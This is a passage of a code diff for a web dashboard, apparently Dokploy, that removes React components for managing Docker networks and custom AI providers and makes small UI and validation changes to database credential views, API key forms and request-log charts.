control={form.control}
name={`ipamConfig.${index}.ipRange`}
render={({ field: f }) => (
<FormItem className="min-w-[120px] flex-1">
<FormControl>
<Input {...f} placeholder="IP range" />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`ipamConfig.${index}.gateway`}
render={({ field: f }) => (
<FormItem className="min-w-[120px] flex-1">
<FormControl>
<Input {...f} placeholder="Gateway" />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<Button
type="button"
variant="outline"
size="icon"
aria-label="Remove IPAM config"
onClick={() => ipamConfigFieldArray.remove(index)}
>
<Trash2 className="size-4" />
</Button>
</div>
))}
<Button
type="button"
variant="outline"
size="sm"
onClick={() =>
ipamConfigFieldArray.append({
subnet: "",
ipRange: "",
gateway: "",
})
}
>
<Plus className="size-4" />
Add IPAM config
</Button>
</div>
</div>
<DialogFooter>
<Button
type="button"
variant="outline"
onClick={() => setIsOpen(false)}
>
Cancel
</Button>
<Button type="submit" isLoading={isPending}>
Create network
</Button>
</DialogFooter>
</form>
</Form>
</DialogContent>
</Dialog>
);
};
@@ -1,69 +0,0 @@
"use client";
import { Eye, Loader2 } from "lucide-react";
import { useState } from "react";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { api } from "@/utils/api";
interface Props {
networkId: string;
networkName: string;
}
export const ShowNetworkConfig = ({ networkId, networkName }: Props) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.network.inspect.useQuery(
{ networkId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View network config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Network Config</DialogTitle>
<DialogDescription>
docker network inspect output for "{networkName}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};
@@ -1,494 +0,0 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Loader2,
Network,
RotateCcw,
ShieldCheck,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { HandleNetwork } from "@/components/dashboard/networks/handle-network";
import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config";
import { SyncNetworks } from "@/components/dashboard/networks/sync-networks";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardAction,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type NetworkRow = inferRouterOutputs<AppRouter>["network"]["all"][number];
interface Props {
/** Selected server; undefined shows the local Dokploy server */
serverId?: string;
}
const getIpamEntries = (row: NetworkRow) =>
(row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange);
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
export const ShowNetworks = ({ serverId }: Props) => {
const utils = api.useUtils();
const [verified, setVerified] = useState(false);
const [sorting, setSorting] = useState<SortingState>([
{ id: "createdAt", desc: true },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [driverFilter, setDriverFilter] = useState<string>("all");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: networks, isLoading } = api.network.all.useQuery({ serverId });
const { mutateAsync: removeNetwork } = api.network.remove.useMutation();
const recreateMutation = api.network.recreate.useMutation();
// Same query the Sync dialog uses; "missing" tells us which records
// no longer have a real network in Docker
const {
data: syncStatus,
isFetching: isVerifying,
refetch: refetchVerify,
} = api.network.networksToSync.useQuery({ serverId }, { enabled: verified });
const missingIds = useMemo(
() => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []),
[syncStatus],
);
const onVerify = async () => {
setVerified(true);
const { data: result, error } = await refetchVerify();
if (error) {
toast.error("Error verifying networks", {
description: error.message,
});
return;
}
if (!result) return;
if (result.missing.length === 0) {
toast.success("All networks exist in Docker");
} else {
toast.warning(
`${result.missing.length} network(s) no longer exist in Docker`,
);
}
};
const filteredData = useMemo(() => {
let list = networks ?? [];
if (driverFilter !== "all") {
list = list.filter((n) => n.driver === driverFilter);
}
if (globalFilter.trim()) {
const query = globalFilter.toLowerCase();
list = list.filter(
(n) =>
n.name.toLowerCase().includes(query) ||
(n.ipam?.config ?? []).some(
(c) =>
c.subnet?.toLowerCase().includes(query) ||
c.gateway?.toLowerCase().includes(query) ||
c.ipRange?.toLowerCase().includes(query),
),
);
}
return list;
}, [networks, driverFilter, globalFilter]);
const columns = useMemo<ColumnDef<NetworkRow>[]>(
() => [
{
accessorKey: "name",
header: ({ column }) => <SortableHeader column={column} title="Name" />,
cell: ({ row }) => (
<div className="flex items-center gap-2 font-medium">
{row.original.name}
{verified &&
syncStatus &&
(missingIds.has(row.original.networkId) ? (
<>
<Badge variant="red">Missing in Docker</Badge>
<Button
variant="outline"
size="xs"
isLoading={recreateMutation.isPending}
onClick={async () => {
try {
await recreateMutation.mutateAsync({
networkId: row.original.networkId,
});
toast.success(
`Network "${row.original.name}" recreated in Docker`,
);
await utils.network.networksToSync.invalidate();
} catch (error) {
toast.error("Error recreating network", {
description:
error instanceof Error
? error.message
: "Unknown error",
});
}
}}
>
<RotateCcw className="size-3.5" />
Recreate
</Button>
</>
) : (
<Badge variant="green">In sync</Badge>
))}
</div>
),
},
{
accessorKey: "driver",
header: ({ column }) => (
<SortableHeader column={column} title="Driver" />
),
cell: ({ row }) => (
<div className="flex items-center gap-2">
<Badge variant="outline">{row.original.driver}</Badge>
<span className="text-xs text-muted-foreground">
{row.original.driver === "overlay" ? "swarm" : "local"}
</span>
</div>
),
},
{
id: "subnet",
accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "",
header: ({ column }) => (
<SortableHeader column={column} title="Subnet" />
),
cell: ({ row }) => {
const ipamEntries = getIpamEntries(row.original);
if (ipamEntries.length === 0) {
return <span className="text-muted-foreground">Auto</span>;
}
return (
<div className="flex flex-col gap-1">
{ipamEntries.map((c, index) => (
<div
key={`${row.original.networkId}-ipam-${index}`}
className="flex flex-col"
>
<span>{c.subnet ?? "—"}</span>
{(c.gateway || c.ipRange) && (
<span className="text-xs text-muted-foreground">
{[
c.gateway && `gw ${c.gateway}`,
c.ipRange && `range ${c.ipRange}`,
]
.filter(Boolean)
.join(" · ")}
</span>
)}
</div>
))}
</div>
);
},
},
{
accessorKey: "internal",
header: ({ column }) => (
<SortableHeader column={column} title="Internal" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">
{row.original.internal ? "Yes" : "No"}
</span>
),
},
{
accessorKey: "attachable",
header: ({ column }) => (
<SortableHeader column={column} title="Attachable" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">
{row.original.attachable ? "Yes" : "No"}
</span>
),
},
{
accessorKey: "createdAt",
header: ({ column }) => (
<SortableHeader column={column} title="Created" />
),
cell: ({ row }) => (
<span className="text-muted-foreground whitespace-nowrap">
{new Date(row.original.createdAt).toLocaleDateString()}
</span>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<ShowNetworkConfig
networkId={row.original.networkId}
networkName={row.original.name}
/>
<DialogAction
title="Delete network"
description={`The network "${row.original.name}" will be removed from Docker and Dokploy. This action cannot be undone.`}
onClick={async () => {
try {
await removeNetwork({
networkId: row.original.networkId,
});
toast.success("Network deleted");
await utils.network.all.invalidate();
await utils.network.networksToSync.invalidate();
} catch (error) {
toast.error("Error deleting network", {
description:
error instanceof Error ? error.message : "Unknown error",
});
}
}}
>
<Button
variant="ghost"
size="icon-sm"
aria-label="Delete network"
>
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils],
);
const table = useReactTable({
data: filteredData,
columns,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<Network className="size-6 text-muted-foreground self-center" />
Networks
</CardTitle>
<CardDescription>
Manage the Docker networks of the selected server.
</CardDescription>
<CardAction className="self-center">
<div className="flex items-center gap-2">
{networks && networks.length > 0 && (
<Button
variant="outline"
isLoading={isVerifying}
onClick={onVerify}
>
<ShieldCheck className="size-4" />
Verify
</Button>
)}
<SyncNetworks serverId={serverId} />
{networks && networks.length > 0 && (
<HandleNetwork serverId={serverId} />
)}
</div>
</CardAction>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !networks?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<Network className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No networks yet</p>
<p className="max-w-sm text-sm text-muted-foreground">
Create Docker networks for your organization and optionally
attach them to a server. Add your first network to get
started.
</p>
</div>
<HandleNetwork serverId={serverId} />
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name, subnet, gateway..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
<Select value={driverFilter} onValueChange={setDriverFilter}>
<SelectTrigger className="w-[150px]">
<SelectValue placeholder="Driver" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All drivers</SelectItem>
<SelectItem value="bridge">bridge</SelectItem>
<SelectItem value="overlay">overlay</SelectItem>
</SelectContent>
</Select>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No networks match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};
@@ -1,249 +0,0 @@
"use client";
import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Separator } from "@/components/ui/separator";
import { api } from "@/utils/api";
interface Props {
serverId?: string;
}
export const SyncNetworks = ({ serverId }: Props) => {
const [open, setOpen] = useState(false);
const [selected, setSelected] = useState<Set<string>>(new Set());
const utils = api.useUtils();
const { data, isLoading, error, refetch } =
api.network.networksToSync.useQuery({ serverId }, { enabled: open });
const importMutation = api.network.import.useMutation();
const removeMutation = api.network.remove.useMutation();
const recreateMutation = api.network.recreate.useMutation();
const toggleSelected = (name: string) => {
setSelected((prev) => {
const next = new Set(prev);
if (next.has(name)) {
next.delete(name);
} else {
next.add(name);
}
return next;
});
};
const onImport = async () => {
try {
const result = await importMutation.mutateAsync({
serverId,
names: Array.from(selected),
});
if (result.imported.length > 0) {
toast.success(`Imported ${result.imported.length} network(s)`);
}
for (const failure of result.errors) {
toast.error(`Could not import "${failure.name}"`, {
description: failure.error,
});
}
setSelected(new Set());
await utils.network.all.invalidate();
setOpen(false);
await refetch();
} catch (error) {
toast.error("Error importing networks", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const onRemoveStale = async (networkId: string, name: string) => {
try {
await removeMutation.mutateAsync({ networkId });
toast.success(`Removed stale record "${name}"`);
await utils.network.all.invalidate();
await refetch();
} catch (error) {
toast.error("Error removing record", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const onRecreate = async (networkId: string, name: string) => {
try {
await recreateMutation.mutateAsync({ networkId });
toast.success(`Network "${name}" recreated in Docker`);
await utils.network.all.invalidate();
await utils.network.networksToSync.invalidate();
await refetch();
} catch (error) {
toast.error("Error recreating network", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog
open={open}
onOpenChange={(value) => {
setOpen(value);
if (!value) setSelected(new Set());
}}
>
<DialogTrigger asChild>
<Button variant="outline">
<RefreshCw className="size-4" />
Sync
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl max-h-[90vh] overflow-y-auto">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<RefreshCw className="size-5 text-muted-foreground" />
Sync networks
</DialogTitle>
<DialogDescription>
Import networks that exist in Docker but not in Dokploy, and clean
up records whose network no longer exists.
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Scanning Docker networks...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="flex flex-col gap-4">
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">
Found in Docker ({data?.importable.length ?? 0})
</span>
{data?.importable.length ? (
data.importable.map((dockerNetwork) => (
<label
key={dockerNetwork.name}
htmlFor={`import-network-${dockerNetwork.name}`}
className="flex cursor-pointer items-center justify-between gap-3 rounded-lg border p-3"
>
<div className="flex items-center gap-3">
<Checkbox
id={`import-network-${dockerNetwork.name}`}
checked={selected.has(dockerNetwork.name)}
onCheckedChange={() =>
toggleSelected(dockerNetwork.name)
}
/>
<div className="flex flex-col">
<span className="text-sm font-medium">
{dockerNetwork.name}
</span>
{dockerNetwork.subnets.length > 0 && (
<span className="text-xs text-muted-foreground">
{dockerNetwork.subnets.join(" · ")}
</span>
)}
</div>
</div>
<Badge variant="outline">{dockerNetwork.driver}</Badge>
</label>
))
) : (
<span className="text-sm text-muted-foreground">
Nothing to import — everything is in sync.
</span>
)}
</div>
{!!data?.missing.length && (
<>
<Separator />
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">
Missing in Docker ({data.missing.length})
</span>
<span className="text-xs text-muted-foreground">
These records exist in Dokploy but their network is gone
from Docker.
</span>
{data.missing.map((stale) => (
<div
key={stale.networkId}
className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
>
<span className="text-sm">{stale.name}</span>
<div className="flex items-center gap-2">
<Button
variant="outline"
size="xs"
isLoading={recreateMutation.isPending}
onClick={() =>
onRecreate(stale.networkId, stale.name)
}
>
<RotateCcw className="size-3.5" />
Recreate
</Button>
<Button
variant="ghost"
size="icon-sm"
aria-label={`Remove stale record ${stale.name}`}
isLoading={removeMutation.isPending}
onClick={() =>
onRemoveStale(stale.networkId, stale.name)
}
>
<Trash2 className="size-4 text-destructive" />
</Button>
</div>
</div>
))}
</div>
</>
)}
</div>
)}
<DialogFooter>
<Button
type="button"
variant="outline"
onClick={() => setOpen(false)}
>
Close
</Button>
<Button
type="button"
disabled={selected.size === 0}
isLoading={importMutation.isPending}
onClick={onImport}
>
Import selected ({selected.size})
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};
@@ -93,8 +93,7 @@ export function AddOrganization({ organizationId }: Props) {
.catch((error) => {
console.error(error);
toast.error(
error?.message ??
`Failed to ${organizationId ? "update" : "create"} organization`,
`Failed to ${organizationId ? "update" : "create"} organization`,
);
});
};
@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -234,7 +234,6 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,11 +25,11 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} />
<Input disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -57,7 +57,7 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2">
@@ -62,7 +62,7 @@ const dockerImageDefaultPlaceholder: Record<DbType, string> = {
mariadb: "mariadb:11",
mysql: "mysql:8",
postgres: "postgres:18",
redis: "redis:8",
redis: "redis:7",
};
const databasesUserDefaultPlaceholder: Record<
@@ -47,7 +47,7 @@ interface Details {
envVariables: EnvVariable[];
shortDescription: string;
domains: Domain[];
configFiles?: Mount[] | null;
configFiles?: Mount[];
}
interface Mount {
@@ -290,7 +290,7 @@ export const ShowProjects = () => {
</span>
</div>
)}
<div className="w-full grid grid-cols-[repeat(auto-fill,minmax(300px,1fr))] gap-5">
<div className="w-full grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 3xl:grid-cols-5 flex-wrap gap-5">
{filteredProjects?.map((project) => {
const emptyServices = project?.environments
.map(
@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,7 +229,6 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,7 +25,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value="default" />
<Input disabled value="default" />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -53,7 +53,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">
@@ -69,12 +69,14 @@ export const columns: ColumnDef<LogEntry>[] = [
const log = row.original;
return (
<div className="flex flex-col gap-2">
<div className="flex items-center flex-row flex-wrap gap-3 ">
<div className="flex items-center flex-row gap-3 ">
{log.RequestMethod}{" "}
<div className="inline-flex items-center gap-2 bg-muted px-1.5 py-1 rounded-lg">
<span>{log.RequestAddr}</span>
</div>
<span className="break-all">{log.RequestPath}</span>
{log.RequestPath.length > 100
? `${log.RequestPath.slice(0, 82)}...`
: log.RequestPath}
</div>
<div className="flex flex-row gap-3 w-full">
<Badge
@@ -1,4 +1,11 @@
import { Area, AreaChart, CartesianGrid, XAxis, YAxis } from "recharts";
import {
Area,
AreaChart,
CartesianGrid,
ResponsiveContainer,
XAxis,
YAxis,
} from "recharts";
import {
type ChartConfig,
ChartContainer,
@@ -42,60 +49,65 @@ export const RequestDistributionChart = ({
);
return (
<ChartContainer
config={chartConfig}
className="aspect-auto h-[200px] w-full"
>
<AreaChart
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
<div className="w-full h-[200px] overflow-hidden">
<ResponsiveContainer
width="100%"
height="100%"
className="overflow-hidden"
>
<CartesianGrid vertical={false} />
<XAxis
dataKey="hour"
tickLine={false}
axisLine={false}
tickMargin={8}
tickFormatter={(value) =>
new Date(value).toLocaleTimeString([], {
hour: "2-digit",
minute: "2-digit",
})
}
/>
<YAxis
tickLine={false}
axisLine={false}
tickMargin={8}
allowDataOverflow={false}
domain={[0, "auto"]}
/>
<ChartTooltip
cursor={false}
content={<ChartTooltipContent indicator="line" />}
labelFormatter={(value) =>
new Date(value).toLocaleString([], {
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
<ChartContainer config={chartConfig}>
<AreaChart
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
>
<CartesianGrid vertical={false} />
<XAxis
dataKey="hour"
tickLine={false}
axisLine={false}
tickMargin={8}
tickFormatter={(value) =>
new Date(value).toLocaleTimeString([], {
hour: "2-digit",
minute: "2-digit",
})
}
/>
<YAxis
tickLine={false}
axisLine={false}
tickMargin={8}
allowDataOverflow={false}
domain={[0, "auto"]}
/>
<ChartTooltip
cursor={false}
content={<ChartTooltipContent indicator="line" />}
labelFormatter={(value) =>
new Date(value).toLocaleString([], {
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
</ResponsiveContainer>
</div>
);
};
@@ -328,7 +328,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
open={!!selectedRow}
onOpenChange={(_open) => setSelectedRow(undefined)}
>
<SheetContent className="w-full sm:max-w-[740px]! flex flex-col">
<SheetContent className="sm:max-w-[740px] flex flex-col">
<SheetHeader>
<SheetTitle>Request log</SheetTitle>
<SheetDescription>
@@ -13,14 +13,10 @@ import {
} from "@/components/ui/card";
import { api } from "@/utils/api";
import { HandleAi } from "./handle-ai";
import { HandleAiProviders } from "./handle-ai-providers";
export const AiForm = () => {
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
const { data: currentUser } = api.user.get.useQuery();
const isOrgAdmin =
currentUser?.role === "owner" || currentUser?.role === "admin";
return (
<div className="w-full">
@@ -34,10 +30,7 @@ export const AiForm = () => {
</CardTitle>
<CardDescription>Manage your AI configurations</CardDescription>
</div>
<div className="flex flex-row gap-2">
{isOrgAdmin && <HandleAiProviders />}
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
</div>
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
</CardHeader>
<CardContent className="space-y-2 py-8 border-t">
{isPending ? (
@@ -32,11 +32,10 @@ import {
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
import { api } from "@/utils/api";
const formSchema = z.object({
name: apiKeyNameSchema,
name: z.string().min(1, "Name is required"),
prefix: z.string().optional(),
expiresIn: z.number().nullable(),
organizationId: z.string().min(1, "Organization is required"),
@@ -160,15 +159,8 @@ export const AddApiKey = () => {
<FormItem>
<FormLabel>Name</FormLabel>
<FormControl>
<Input
placeholder="My API Key"
maxLength={API_KEY_NAME_MAX_LENGTH}
{...field}
/>
<Input placeholder="My API Key" {...field} />
</FormControl>
<FormDescription>
Maximum {API_KEY_NAME_MAX_LENGTH} characters
</FormDescription>
<FormMessage />
</FormItem>
)}
@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger>
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle>Add an external registry</DialogTitle>
<DialogTitle>Add a external registry</DialogTitle>
<DialogDescription>
Fill in the following fields to add an external registry.
Fill the next fields to add a external registry.
</DialogDescription>
</DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && (
@@ -1,158 +0,0 @@
"use client";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
import { useEffect, useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormField,
FormItem,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const Schema = z.object({
providers: z.array(
z.object({
name: z.string().min(1, { message: "Name is required" }),
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
}),
),
});
type Schema = z.infer<typeof Schema>;
export const HandleAiProviders = () => {
const utils = api.useUtils();
const [open, setOpen] = useState(false);
const { data: providers } = api.ai.getCustomProviders.useQuery();
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
const form = useForm<Schema>({
resolver: zodResolver(Schema),
defaultValues: {
providers: [],
},
});
const { fields, append, remove } = useFieldArray({
control: form.control,
name: "providers",
});
useEffect(() => {
if (open) {
form.reset({ providers: providers ?? [] });
}
}, [open, providers, form]);
const onSubmit = async (data: Schema) => {
try {
await mutateAsync({ providers: data.providers });
await utils.ai.getCustomProviders.invalidate();
toast.success("Custom providers saved successfully");
setOpen(false);
} catch (error) {
toast.error("Failed to save custom providers", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="outline" className="cursor-pointer space-x-3">
<ServerIcon className="h-4 w-4" />
Custom Presets
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl">
<DialogHeader>
<DialogTitle>Custom AI Providers</DialogTitle>
<DialogDescription>
Define your own AI providers, like an internal LLM platform. When at
least one is defined, only these providers can be used in AI
configurations.
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
{fields.length === 0 && (
<p className="text-sm text-muted-foreground">
No custom providers defined. The built-in provider list will be
used.
</p>
)}
{fields.map((fieldItem, index) => (
<div key={fieldItem.id} className="flex gap-2 items-start">
<FormField
control={form.control}
name={`providers.${index}.name`}
render={({ field }) => (
<FormItem className="flex-1">
<FormControl>
<Input placeholder="Internal LLM" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`providers.${index}.apiUrl`}
render={({ field }) => (
<FormItem className="flex-[2]">
<FormControl>
<Input
placeholder="https://llm.internal.company/v1"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<Button
type="button"
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
onClick={() => remove(index)}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</div>
))}
<div className="flex justify-between">
<Button
type="button"
variant="outline"
